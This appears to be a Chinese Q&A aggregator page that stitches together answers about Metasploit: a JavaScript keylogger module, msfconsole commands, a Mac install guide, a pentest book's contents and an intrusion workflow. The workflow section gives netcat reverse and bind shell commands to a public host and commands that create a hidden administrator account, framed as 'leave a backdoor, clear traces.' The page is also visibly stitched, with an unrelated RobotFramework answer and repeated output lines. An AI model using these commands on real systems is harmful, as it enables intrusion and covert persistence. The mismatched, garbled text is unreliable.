當前位置:首頁 » 網頁前端 » msf批量利用腳本
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

msf批量利用腳本

發布時間: 2022-08-15 21:36:30

❶ 如何編寫一個Metasploit輔助小腳本

Javascript keylogger簡介:
Javascript keylogger可以捕捉通過網路的鍵盤擊鍵事件。使用JavaScript keylogger的優勢在於:他不需要我們預先擁有一個伺服器空間,然後再上傳一個假冒的網頁,寫偽造的頁面、插鏈接

再寫個蛋疼的採集腳本(如下圖)…

使用Metasploit製造鍵盤竊聽網站:
1. 打開msfconsle

2.搜索Keylogger

3.使用auxiliary/server/capture/http_javascript_keylogger模塊

4.查看模塊配置情況

5.我們這里以rapid7提供的Demo為例(頁面比較簡單)進行配置:
Set demo true
Set uripath keylogger
6.執行攻擊模塊

❷ mac下用metasploit怎麼將msf命令批量ln到bin中

首先確定目標主機是否有ms08-067漏洞,這一點確定後才可以進行攻擊,在配置好攻擊參數後使用命令:show options檢查一下所配置的參數是否都正確.

❸ Kali工具中的 msf 為什麼不能自動化攻擊

最近剛剛接觸到RobotFramework,發現這個工具倒是可以滿足我的要求,而且可以結合seleniumLibrary,用來做web的自動化測試相當不錯。之前我也接觸過selenium,不過感覺那個工具更貼近開發人員使用,有了robotFramework之後,感覺這個工具相當強大,而且是貼近測試人員的。之所以說強大,主要是這些測試腳本都可以用文本格式保存(如txt/html等) ==安裝篇== 如果有想學的朋友可以自己下載以下文件安裝(Google-code里可以找到大部分的安裝文件): 這篇文章的內容比較舊了,最新的安裝指南請查看 更新篇 python-2.7.1.msi(首先要有python,請選擇將Python加入Path) wxPython2.8-win32-unicode-2.8.11.0-py27.exe(wxPython,必須要的) robotframework-2.6.0.win32.exe(然後裝robot的Framework) robotframework-ride-0.38.1.win32.exe(robotFramework的IDE,很不錯) robotframework-seleniumlibrary-2.8.win32.exe(seleniumLibrary) 安裝成功後 執行[PythonDir]\Scripts\ride.py 看到界面就是安裝成功了。 如果需要AutoIt支持就下載下面2個東東。 AutoItLibrary-1.1 pywin32-216.win32-py2.7.exe ==入門篇== 安裝完成了,這個框架可以說是基於keyword的操作,按F5可以看到所有載入的keyword。 首先新增一個project 然後新增suite 然後新增test case,接著在suite層級add library,把selenium library加進來,添加後按F5檢驗是否添加成功,如圖 OK,繼續在suite的setting里設置suite啟動和結束的keyword,即Start Selenium Server和Stop Selenium Server,他會在運行時幫助我們自動啟動seleniumserver。 接下來在test case里添加一個步驟,open browser(一般用selenium做web測試都要用這個方法來打開瀏覽器),添加後關鍵字變成藍色表示找到關鍵字了,否則可能是拼寫錯誤或者沒有載入相應的library。紅色表示有一個必選參數要給定輸入值,具體參數可以看F5里的keyword說明。 輸入參數,第二個參數默認是firefox,不過我沒裝,就用ie吧。 以上只是一個簡單的例子,沒有詳細說明每個步驟的操作,只是初步介紹。後續再詳細介紹

❹ web滲透是什麼

Web滲透測試分為白盒測試和黑盒測試,白盒測試是指目標網站的源碼等信息的情況下對其滲透,相當於代碼分析審計。而黑盒測試則是在對該網站系統信息不知情的情況下滲透,以下所說的Web滲透就是黑盒滲透。

Web滲透分為以下幾個步驟,信息收集,漏洞掃描,漏洞利用,提權,內網滲透,留後門,清理痕跡。一般的滲透思路就是看是否有注入漏洞,然後注入得到後台管理員賬號密碼,登錄後台,上傳小馬,再通過小馬上傳大馬,提權,內網轉發,進行內網滲透,掃描內網c段存活主機及開放埠,看其主機有無可利用漏洞(nessus)埠(nmap)對應服務及可能存在的漏洞,對其利用(msf)拿下內網,留下後門,清理痕跡。或者看是否有上傳文件的地方,上傳一句話木馬,再用菜刀鏈接,拿到資料庫並可執行cmd命令,可繼續上大馬.........思路很多,很多時候成不成功可能就是一個思路的問題,技術可以不高,思路一定得騷。

信息收集

信息收集是整個流程的重中之重,前期信息收集的越多,Web滲透的成功率就越高。

DNS域名信息:通過url獲取其真實ip,子域名(Layer子域名爆破機),旁站(K8旁站,御劍1.5),c段,網站負責人及其信息(whois查詢)

整站信息:伺服器操作系統、伺服器類型及版本(Apache/Nginx/Tomcat/IIS)、資料庫類型(Mysql/Oracle/Accees/Mqlserver)、腳本類型(php/jsp/asp/aspx)、CMS類型;

網站常見搭配為:

ASP和ASPX:ACCESS、SQLServer

PHP:MySQL、PostgreSQL

JSP:Oracle、MySQL

敏感目錄信息(御劍,dirbust)

開放埠信息(nmp)

漏洞掃描

利用AWVS,AppScan,OWASP-ZAP,等可對網站進行網站漏洞的初步掃描,看其是否有可利用漏洞。

常見漏洞:

SQL注入

XSS跨站腳本

CSRF跨站請求偽造

XXE(XML外部實體注入)漏洞

SSRF(服務端請求偽造)漏洞

文件包含漏洞

文件上傳漏洞

文件解析漏洞

遠程代碼執行漏洞

CORS跨域資源共享漏洞

越權訪問漏洞

目錄遍歷漏洞和任意文件讀取/下載漏洞

漏洞利用

用工具也好什麼也好對相應漏洞進行利用

如:

Sql注入(sqlmap)

XSS(BEEF)

後台密碼爆破(burp)

埠爆破(hydra)

提權

獲得shell之後我們許可權可能很低,因此要對自己提權,可以根據伺服器版本對應的exp進行提權,對於Windows系統也可看其補丁對應漏洞的exp進行提權

內網滲透

首先進行埠轉發可用nc

nc使用方法:

反向連接

在公網主機上進行監聽:

nc-lvp 4444

在內網主機上執行:

nc-e cmd.exe 公網主機ip4444

成功之後即可得到一個內網主機shell

正向連接

遠程主機上執行:

nc-l -p 4444 -t -e cmd.exe

本地主機上執行:

nc-vv 遠程主機ip4444

成功後,本地主機即可遠程主機的一個shell

然後就是對內網進行滲透了,可以用主機漏洞掃描工具(nessus,x-scan等)進行掃描看是否有可用漏洞,可用msf進行利用,或者用nmap掃描存活主機及開放埠,可用hydra進行埠爆破或者用msf對埠對應漏洞得到shell拿下內網留後門

留後門

對於網站上傳一句話木馬,留下後門

對於windows用戶可用hideadmin創建一個超級隱藏賬戶

手工:

netuser test$ 123456 /add

netlocalgroup administrators test$ /add

這樣的話在cmd命令中看不到,但在控制面板可以看到,還需要改注冊表才能實現控製版面也看不到,太過麻煩,不多贅述,所以還是用工具省心省力。

❺ metasploit在mac上怎麼用

安裝的幾個步驟:
1.從github上克隆Metasploit項目到本地;
2.安裝postgresql並進行配置;
3.安裝特定版本的ruby,並解決依賴;
1.從GITHUB上克隆METASPLOIT項目到本地
git clone https://github.com/rapid7/metasploit-framework.git /usr/local/share/metasploit-framework
克隆到本地後,將metasploit-framework/config/目錄下的配置文件:database.yml 添加到環境變數中(database.yml 也許不存在,直接復制database.yml.example)
在$HOME/.bash_profile或者其他配置文件中添加下面這條配置
export MSF_DATABASE_CONFIG=/usr/local/share/metasploit-framework/config/database.yml

2.安裝POSTGRESQL並進行配置
metasploit下載完後,不急著去配置,因為metasploit的默認資料庫postgresql還沒有裝上
你可以直接使用brew來下載並自動安裝postgresql,可以運行如下命令
brew install postgresql --without-ossp-build

等待自動安裝完畢,完成後,初始化postgresql(若出現錯誤刪掉/usr/local/var/postgres,並重試)
initdb /usr/local/var/postgres

初始化完畢後,為metasploit添加資料庫用戶和創建相應DB
createuser msf -P -h localhost createdb -O msf msf -h localhost

(上面參數不懂了,大家可以網路一下,這里就不做過多解釋了)
上面的步驟完成後,需更改metasploit的資料庫連接配置,也就是第一步中的database.yml文件
在database.yml中,將信息修改如下
proction: adapter: postgresql database: msf username: msf password: yourpassword host: 127.0.0.1 port: 5432 pool: 75 timeout: 5

完成後,進入第三步!
(可自行添加alisa來簡便每一次postgresql的啟動)
alias pg_start='pg_ctl -D /usr/local/var/postgres -l /usr/local/var/postgres/server.log start' alias pg_stop='pg_ctl -D /usr/local/var/postgres stop'

3.安裝特定版本的RUBY,並解決依賴

說到ruby的多版本管理,這里就要用最給力的工具了rbenv(可以在github上找到,也可以使用brew直接安裝)brew install rbenv ruby-build

rbenv安裝完成後,在$HOST/.bash_profile或其他配置文件中添加如下設置eval "$(rbenv init -)"

下面就可以通過rbenv來安裝特定版本的ruby了,首先列出當前可用的ruby版本rbenv install --list

可以看到幾乎所有的ruby版本都有,這里我們選擇安裝ruby-1.9.3-p547(因為OS X 10.9.3 自帶的ruby為2.0.0版本,在某些地方會產生問題)rbenv install 1.9.3-p547

這里可能會等一會兒,rbenv會將各個版本的ruby安裝在$HOST/.rbenv/versions/下,完成後,將下載的版本設置為系統默認rbenv rehash rbenv global 1.9.3-p547

完成後,重新打開終端,輸入ruby –version就可以看到當前默認的ruby版本已經設置成為1.9.3-p547
下面安裝bundle來解決依賴問題gem install bundle

安裝的時候,可能會出連接問題,多試幾次即可
bundle安裝完畢後,再次進入metasploit的主目錄解決模塊包的依賴cd /usr/local/share/metasploit-framework rbenv rehash bundle install

(在bundle install的過程中,可能會出現某一個特定版本的模塊安裝失敗的問題,解決方法:根據GemFiles里的版本限制,自行使用gem安裝替代版本,完成後,刪掉GemFiles.lock,重新運行bundle install)
依賴解決後,即可運行目錄下的msfconsole啟動metasploit終端控制器(已啟動postgresql,不然會連不上資料庫)
可以將msf命令批量ln到bin下for MSF in $(ls msf*); do ln -s /usr/local/share/metasploit-framework/$MSF /usr/local/bin/$MSF;done

❻ 為什麼我啟動了msfconsole沒有msf終端

這可能是最流行的msfconsole界面MSF。它提供了一個「一體化」集中控制台,允許你有效地訪問到幾乎所有的選項可在Metasploit框架。Msfconsole起初看似嚇人的,但一旦你學習語法的命令,你將學會欣賞利用該介面的力量。msfconsole界面的窗戶都可以在3.3版本發布,但3.2版本的用戶將需要手動安裝Cygwin框架下,隨著紅寶石安裝補丁,或接觸控制台模擬器通過包括網站或GUI部件。
msfconsole的好處:
1.這是唯一辦法訪問大多數支持在Metasploit特點。
2.console-based界面提供了一個框架
3.含有最特點和是最穩定的無國界醫生的界面
4.充分readline支持,tabbing以及命令完成
5.在msfconsole外部命令的執行是可能的
msf > ping -c 1 192.168.1.2[*] exec: ping -c 1 192.168.1.2 PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data. 64 bytes from 192.168.1.2: icmp_seq=1 ttl=128 time=10.3 ms --- 192.168.1.2 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 10.308/10.308/10.308/0.000 ms msf >

通過簡單的展開msfconsole運行。「從/ msfconsole命令行。你可以 msfconsole -h」,去看看別的用途。

輸入help或者?,顯示在msfconsole中的可用命令

標簽完成
這是msfconsole設計快速使用和特點之一,有助於這一目標是標簽完成。與各種各樣的模組可供選擇,就很難記得確切的名字和路徑的特殊模數你希望利用。同大多數的其他類型的貝殼,進入你所知道的和緊迫的標簽的會贈送一個列表選擇或自動完成你的字元串,如果只有一個選擇。標簽完成readline取決於延伸和幾乎每個指揮控制台支持標簽完成。

use exploit/windows/dce
use .*netapi.*
set LHOST
show
set TARGET
set PAYLOAD windows/shell/
exp
back
命令

msf auxiliary(ms09_001_write) > back msf >

check命令
沒有很多的利用,支持它,但也存在著一個「檢查'選項,看看一個目標是脆弱的,而不是一個特定的開發利用它實際上。
msf exploit(ms04_045_wins) > show options Mole options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.1.114 yes The target address RPORT 42 yes The target port Exploit target: Id Name -- ---- 0 Windows 2000 English msf exploit(ms04_045_wins) > check[-] Check failed: The connection was refused by the remote host (192.168.1.114:42)

connect命令 連接
有一個微型netcat克隆建成的msfconsole支持SSL,代理,旋轉、文件發送。發出「連接」命令一個ip地址和埠的號碼,你可以連接到一個遠程主機在msfconsole一樣的你會與netcat或遠程登錄。
msf > connect 192.168.1.1 23[*] Connected to 192.168.1.1:23 ??????!???? DD-WRT v24 std (c) 2008 NewMedia-NET GmbH Release: 07/27/08 (SVN revision: 10011) ? DD-WRT login:
通過「-」的連接,它將通過SSL連接:
msf > connect -s www.metasploit.com 443[*] Connected to www.metasploit.com:443 GET / HTTP/1.0 HTTP/1.1 302 Found Date: Sat, 25 Jul 2009 05:03:42 GMT Server: Apache/2.2.11 Location: http://www.metasploit.org/

run命令
msf auxiliary(ms09_001_write) > run Attempting to crash the remote host... datalenlow=65535 dataoffset=65535 fillersize=72 rescue datalenlow=55535 dataoffset=65535 fillersize=72 rescue datalenlow=45535 dataoffset=65535 fillersize=72 rescue datalenlow=35535 dataoffset=65535 fillersize=72 rescue datalenlow=25535 dataoffset=65535 fillersize=72 rescue ...snip...

irb命令
msf > irb[*] Starting IRB shell... >> puts "Hello, metasploit!" Hello, metasploit! => nil >> Framework::Version => "3.8.0-dev" >> framework.moles.keys.length =>1336

msfconsole

Retrieved from "http://www.offensive-security.com/metasploit-unleashed/Msfconsole_Irb_Command"

jobs命令
msf exploit(ms08_067_netapi) > jobs -h Usage: jobs [options] Active job manipulation and interaction. OPTIONS: -K Terminate all running jobs. -h Help banner. -i Lists detailed information about a running job. -k Terminate the specified job name. -l List all running jobs. -v Print more detailed info. Use with -i and -l

load命令
load指揮從Metasploit載入一個插件的插件的目錄。通過參數的 'key=val' 的shell上。
msf > load Usage: load [var=val var=val ...] Load a plugin from the supplied path. The optional var=val options are custom parameters that can be passed to plugins. msf > load pcap_log[*] Successfully loaded plugin: pcap_logunload命令 卸掉
msf > load pcap_log [*] Successfully loaded plugin: pcap_log msf > unload pcap_log Unloading plugin pcap_log...unloaded.

loadpath命令
「loadpath」命令將載入一個third-part模塊樹為道路,這樣你就可以在你的0-day點Metasploit戰功,編碼器,有效載荷,等。
msf > loadpath /home/secret/moles Loaded 0 moles.

resource命令
一些攻擊(如Karmetasploit使用資源(批)文件,您可以通過msfconsole負載使用「資源」命令。這些文件是一個基本的腳本為msfconsole。它運行的命令在檔案按順序排列。稍後我們將探討,外面的Karmetasploit,可以是非常有用的。
msf > resource karma.rc resource> load db_sqlite3 [-][-] The functionality previously provided by this plugin has been [-] integrated into the core command set. Use the new 'db_driver' [-] command to use a database driver other than sqlite3 (which [-] is now the default). All of the old commands are the same. [-][-] Failed to load plugin from /pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin resource> db_create /root/karma.db [*] The specified database already exists, connecting [*] Successfully connected to the database [*] File: /root/karma.db resource> use auxiliary/server/browser_autopwn resource> setg AUTOPWN_HOST 10.0.0.1 AUTOPWN_HOST => 10.0.0.1 ...snip...

批處理文件可以大大加快測試和開發時間以及允許用戶自動化許多任務。除了載入一個批處理文件msfconsole從內部,但是它們還是可以通過使用「r」啟動國旗。簡單的範例創造一個批處理文件顯示Metasploit版本號在啟動。
root@bt:~# echo version > version.rc root@bt:~# ./msfconsole -r version.rc888 888 d8b888 888 888 Y8P888 888 888 888 88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888 888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888 888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888 888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b. 888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888 888 888 888 =[ metasploit v3.8.0-dev [core:3.8 api:1.0] + -- --=[ 688 exploits - 357 auxiliary - 39 post + -- --=[ 217 payloads - 27 encoders - 8 nops =[ svn r12668 updated today (2011.05.19) resource> version Framework: 3.8.0-dev.12644 Console : 3.8.0-dev.12651 msf >

route命令
「route」命令在Metasploit允許你通過路由卯會話或'comm',提供基本的旋轉能力。添加一個路線,你通過目標的子網和網路掩碼,緊隨其後的是會議(傳媒類)號碼。
msf exploit(ms08_067_netapi) > route Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid] Route traffic destined to a given subnet through a supplied session. The default comm is Local. msf exploit(ms08_067_netapi) > route add 192.168.1.0 255.255.255.0 2 msf exploit(ms08_067_netapi) > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 192.168.1.0 255.255.255.0 Session 2

info命令
「info」命令將提供詳細的信息關於某個模塊包括所有的選擇,目標,和其他信息。一定要認真閱讀模塊描述使用它作為前可能有些un-desired效果。
信息的命令也提供以下信息:
1.作者和許可的信息
2.漏洞參考資料
3.任何有效載荷限制模塊
msf > info dos/windows/smb/ms09_001_write Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset Version: 6890 License: Metasploit Framework License (BSD) Provided by: j.v.vallejo
msf > info dos/windows/smb/ms09_001_write Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset Version: 6890 License: Metasploit Framework License (BSD) Provided by: j.v.vallejo
msf > info dos/windows/smb/ms09_001_write Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset Version: 6890 License: Metasploit Framework License (BSD) Provided by: j.v.vallejo
msf > info dos/windows/smb/ms09_001_write Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset Version: 6890 License: Metasploit Framework License (BSD) Provided by: j.v.vallejo

set 命令

'set'指令讓你配置框架選項和參數對當前模塊你處理。

msf auxiliary(ms09_001_write) > set RHOST 192.168.1.1 RHOST => 192.168.1.1 msf auxiliary(ms09_001_write) > show options Mole options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.1.1 yes The target address RPORT 445 yes Set the SMB service port

最近的一份附加的性能在Metasploit是能力設定一個編碼器使用運行時間。這是特別有用的發展在利用你還不太確定的編碼方法,將工作載荷與開發。
msf exploit(ms08_067_netapi) > show encoders Compatible encoders =================== Name Description ---- ----------- cmd/generic_sh Generic Shell Variable Substitution Command Encoder generic/none The "none" Encoder mipsbe/longxor XOR Encoder mipsle/longxor XOR Encoder php/base64 PHP Base64 encoder ppc/longxor PPC LongXOR Encoder ppc/longxor_tag PPC LongXOR Encoder sparc/longxor_tag SPARC DWORD XOR Encoder x64/xor XOR Encoder x86/alpha_mixed Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper Alpha2 Alphanumeric Uppercase Encoder x86/avoid_utf8_tolower Avoid UTF8/tolower x86/call4_dword_xor Call+4 Dword XOR Encoder x86/countdown Single-byte XOR Countdown Encoder x86/fnstenv_mov Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive Polymorphic Jump/Call XOR Additive Feedback Encoder x86/nonalpha Non-Alpha Encoder x86/nonupper Non-Upper Encoder x86/shikata_ga_nai Polymorphic XOR Additive Feedback Encoder x86/unicode_mixed Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper Alpha2 Alphanumeric Unicode Uppercase Encoder msf exploit(ms08_067_netapi) > set encoder x86/shikata_ga_nai encoder => x86/shikata_ga_nai

unset命令
相反的「set'命令,當然,是「unset」。「unset」去掉一個參數配置與「set'之前。你可以移除所有的變數與'unset all'。

msf > set RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf > set THREADS 50 THREADS => 50 msf > set Global ====== Name Value ---- ----- RHOSTS 192.168.1.0/24 THREADS 50 msf > unset THREADS Unsetting THREADS... msf > unset all Flushing datastore... msf > set Global ====== No entries in data store.

❼ msf5>use1沒有用怎麼辦好像是版本太低,不知道,哪個命令

摘要 back (返回): 從目前的情況下向後移動

❽ metasploit framework上怎麼使用whois命令

metasploit是一個非常牛逼的滲透測試工具,搞滲透的幾乎沒人不用的。但是只學這個沒其他的基礎是不行的,metasploit要玩得出彩玩得高端是很多時候根據實際需要自己修改和分析滲透利用腳本,所以好的編程思維和技術也是非常重要的。總之,遵循一...

❾ 《徹底研究黑客編程技術揭秘與攻防實戰》這本書的代碼用什麼語言寫出來的

黑客一般都掌握多種編程語言,他們不但掌握著與底層相關的如匯編、C之類的編程語言,而且還掌握很多腳本語言,如Python、Perl、Ruby .......很多黑客在發現ODay以後用Perl或者Python來寫POC; MSF使用的是Ruby來進行開發Exploit;有的黑客在反病毒時竟然寫個批處理就搞定了……對於黑客來說,一切語言都是服務於自己的思想的,只要能快速實現自己的想法,能完成自己所要完 成的功能就行,從不拘泥於任何語言和工具。在網上有很多學習不同編程語言的人們之間經常互相攻擊,這其實是一種極端的行為,大家還是理性地對待這些問題比較好

❿ Metasploit滲透測試指南的目錄

《metasploit滲透測試指南》
第1章 滲透測試技術基礎 1
1.1 ptes標准中的滲透測試階段 2
1.1.1 前期交互階段 2
1.1.2 情報搜集階段 2
1.1.3 威脅建模階段 2
1.1.4 漏洞分析階段 3
1.1.5 滲透攻擊階段 3
1.1.6 後滲透攻擊階段 3
1.1.7 報告階段 4
1.2 滲透測試類型 4
1.2.1 白盒測試 5
1.2.2 黑盒測試 5
1.3 漏洞掃描器 5
1.4 小結 6
第2章 metasploit基礎 7
2.1 專業術語 7
2.1.1 滲透攻擊(exploit) 8
2.1.2 攻擊載荷(payload) 8
2.1.3 shellcode 8
.2.1.4 模塊(mole) 8
2.1.5 監聽器(listener) 8
2.2 metasploit用戶介面 8
2.2.1 msf終端 9
2.2.2 msf命令行 9
2.2.3 armitage 11
2.3 metasploit功能程序 12
2.3.1 msf攻擊載荷生成器 12
2.3.2 msf編碼器 13
2.3.3 nasm shell 13
2.4 metasploit express和metasploit pro 14
2.5 小結 14
第3章 情報搜集 15
3.1 被動信息搜集 16
3.1.1 whois查詢 16
3.1.2 netcraft 17
3.1.3 nslookup 18
3.2 主動信息搜集 18
3.2.1 使用nmap進行埠掃描 18
3.2.2 在metasploit中使用資料庫 20
3.2.3 使用metasploit進行埠掃描 25
3.3 針對性掃描 26
3.3.1 伺服器消息塊協議掃描 26
3.3.2 搜尋配置不當的microsoft sql server 27
3.3.3 ssh伺服器掃描 28
3.3.4 ftp掃描 29
3.3.5 簡單網管協議掃描 30
3.4 編寫自己的掃描器 31
3.5 小結 33
第4章 漏洞掃描 35
4.1 基本的漏洞掃描 36
4.2 使用nexpose進行掃描 37
4.2.1 配置 37
4.2.2 將掃描報告導入到metasploit中 42
4.2.3 在msf控制台中運行nexpose 43
4.3 使用nessus進行掃描 44
4.3.1 配置nessus 44
4.3.2 創建nessus掃描策略 45
4.3.3 執行nessus掃描 47
4.3.4 nessus報告 47
4.3.5 將掃描結果導入metasploit框架中 48
4.3.6 在metasploit內部使用nessus進行掃描 49
4.4 專用漏洞掃描器 51
4.4.1 驗證smb登錄 51
4.4.2 掃描開放的vnc空口令 52
4.4.3 掃描開放的x11伺服器 54
4.5 利用掃描結果進行自動化攻擊 56
第5章 滲透攻擊之旅 57
5.1 滲透攻擊基礎 58
5.1.1 msf] show exploits 58
5.1.2 msf] show auxiliary 58
5.1.3 msf] show options 58
5.1.4 msf] show payloads 60
5.1.5 msf] show targets 62
5.1.6 info 63
5.1.7 set和unset 63
5.1.8 setg和unsetg 64
5.1.9 save 64
5.2 你的第一次滲透攻擊 64
5.3 攻擊一台ubuntu主機 68
5.4 全埠攻擊載荷:暴力猜解目標開放的埠 71
5.5 資源文件 72
5.6 小結 73
第6章 meterpreter 75
6.1 攻陷windows xp 虛擬機 76
6.1.1 使用nmap掃描埠 76
6.1.2 攻擊ms sql 76
6.1.3 暴力破解ms sql伺服器 78
6.1.4 xp_cmdshell 79
6.1.5 meterpreter基本命令 80
6.1.6 獲取鍵盤記錄 81
6.2 挖掘用戶名和密碼 82
6.2.1 提取密碼哈希值 82
6.2.2 使用meterpreter命令獲取密碼哈希值 83
6.3 傳遞哈希值 84
6.4 許可權提升 85
6.5 令牌假冒 87
6.6 使用ps 87
6.7 通過跳板攻擊其他機器 89
6.8 使用meterpreter腳本 92
6.8.1 遷移進程 92
6.8.2 關閉殺毒軟體 93
6.8.3 獲取系統密碼哈希值 93
6.8.4 查看目標機上的所有流量 93
6.8.5 攫取系統信息 93
6.8.6 控制持久化 94
6.9 向後滲透攻擊模塊轉變 95
6.10 將命令行shell升級為meterpreter 95
6.11 通過附加的railgun組件操作windows api 97
6.12 小結 97
第7章 免殺技術 99
7.1 使用msf攻擊載荷生成器創建可獨立運行的二進制文件 100
7.2 躲避殺毒軟體的檢測 101
7.2.1 使用msf編碼器 102
7.2.2 多重編碼 103
7.3 自定義可執行文件模板 105
7.4 隱秘地啟動一個攻擊載荷 106
7.5 加殼軟體 107
7.6 小結:關於免殺處理的最後忠告 108
第8章 客戶端滲透攻擊 109
8.1 基於瀏覽器的滲透攻擊 110
8.1.1 基於瀏覽器的滲透攻擊原理 111
8.1.2 空指令 112
8.2 使用immunity調試器來揭秘空指令機器碼 112
8.3 對ie瀏覽器的極光漏洞進行滲透利用 116
8.4 文件格式漏洞滲透攻擊 119
8.5 發送攻擊負載 120
8.6 小結 121
第9章 metasploit輔助模塊 123
9.1 使用輔助模塊 126
9.2 輔助模塊剖析 128
9.3 小結 133
第10章 社會工程學工具包 135
10.1 配置set工具包 136
10.2 針對性釣魚攻擊向量 137
10.3 web攻擊向量 142
10.3.1 java applet 142
10.3.2 客戶端web攻擊 146
10.3.3 用戶名和密碼獲取 148
10.3.4 標簽頁劫持攻擊 150
10.3.5 中間人攻擊 150
10.3.6 網頁劫持 151
10.3.7 綜合多重攻擊方法 153
10.4 傳染性媒體生成器 157
10.5 teensy usb hid攻擊向量 157
10.6 set的其他特性 160
10.7 小結 161
第11章 fast-track 163
11.1 microsoft sql注入 164
11.1.1 sql注入——查詢語句攻擊 165
11.1.2 sql注入——post參數攻擊 166
11.1.3 手工注入 167
11.1.4 ms sql破解 168
11.1.5 通過sql自動獲得控制(sqlpwnage) 172
11.2 二進制到十六進制轉換器 174
11.3 大規模客戶端攻擊 175
11.4 小結:對自動化滲透的一點看法 176
第12章 karmetasploit無線攻擊套件 177
12.1 配置 178
12.2 開始攻擊 179
12.3 獲取憑證 181
12.4 得到shell 182
12.5 小結 184
第13章 編寫你自己的模塊 185
13.1 在ms sql上進行命令執行 186
13.2 探索一個已存在的metasploit模塊 187
13.3 編寫一個新的模塊 189
13.3.1 powershell 189
13.3.2 運行shell滲透攻擊 190
13.3.3 編寫powershell_upload_exec函數 192
13.3.4 從十六進制轉換回二進製程序 192
13.3.5 計數器 194
13.3.6 運行滲透攻擊模塊 195
13.4 小結:代碼重用的能量 196
第14章 創建你自己的滲透攻擊模塊 197
14.1 fuzz測試的藝術 198
14.2 控制結構化異常處理鏈 201
14.3 繞過seh限制 204
14.4 獲取返回地址 206
14.5 壞字元和遠程代碼執行 210
14.6 小結 213
第15章 將滲透代碼移植到metasploit框架 215
15.1 匯編語言基礎 216
15.1.1 eip和esp寄存器 216
15.1.2 jmp指令集 216
15.1.3 空指令和空指令滑行區 216
15.2 移植一個緩沖區溢出攻擊代碼 216
15.2.1 裁剪一個已有的滲透攻擊代碼 218
15.2.2 構造滲透攻擊過程 219
15.2.3 測試我們的基礎滲透代碼 220
15.2.4 實現框架中的特性 221
15.2.5 增加隨機化 222
15.2.6 消除空指令滑行區 223
15.2.7 去除偽造的shellcode 223
15.2.8 我們完整的模塊代碼 224
15.3 seh覆蓋滲透代碼 226
15.4 小結 233
第16章 meterpreter腳本編程 235
16.1 meterpreter腳本編程基礎 235
16.2 meterpreter api 241
16.2.1 列印輸出 241
16.2.2 基本api調用 242
16.2.3 meterpreter mixins 242
16.3 編寫meterpreter腳本的規則 244
16.4 創建自己的meterpreter腳本 244
16.5 小結 250
第17章 一次模擬的滲透測試過程 251
17.1 前期交互 252
17.2 情報搜集 252
17.3 威脅建模 253
17.4 滲透攻擊 255
17.5 msf終端中的滲透攻擊過程 255
17.6 後滲透攻擊 257
17.6.1 掃描metasploitable靶機 258
17.6.2 識別存有漏洞的服務 259
17.7 攻擊apache tomcat 260
17.8 攻擊一個偏門的服務 262
17.9 隱藏你的蹤跡 264
17.10 小結 266
附錄a 配置目標機器 267
附錄b 命令參考列表 275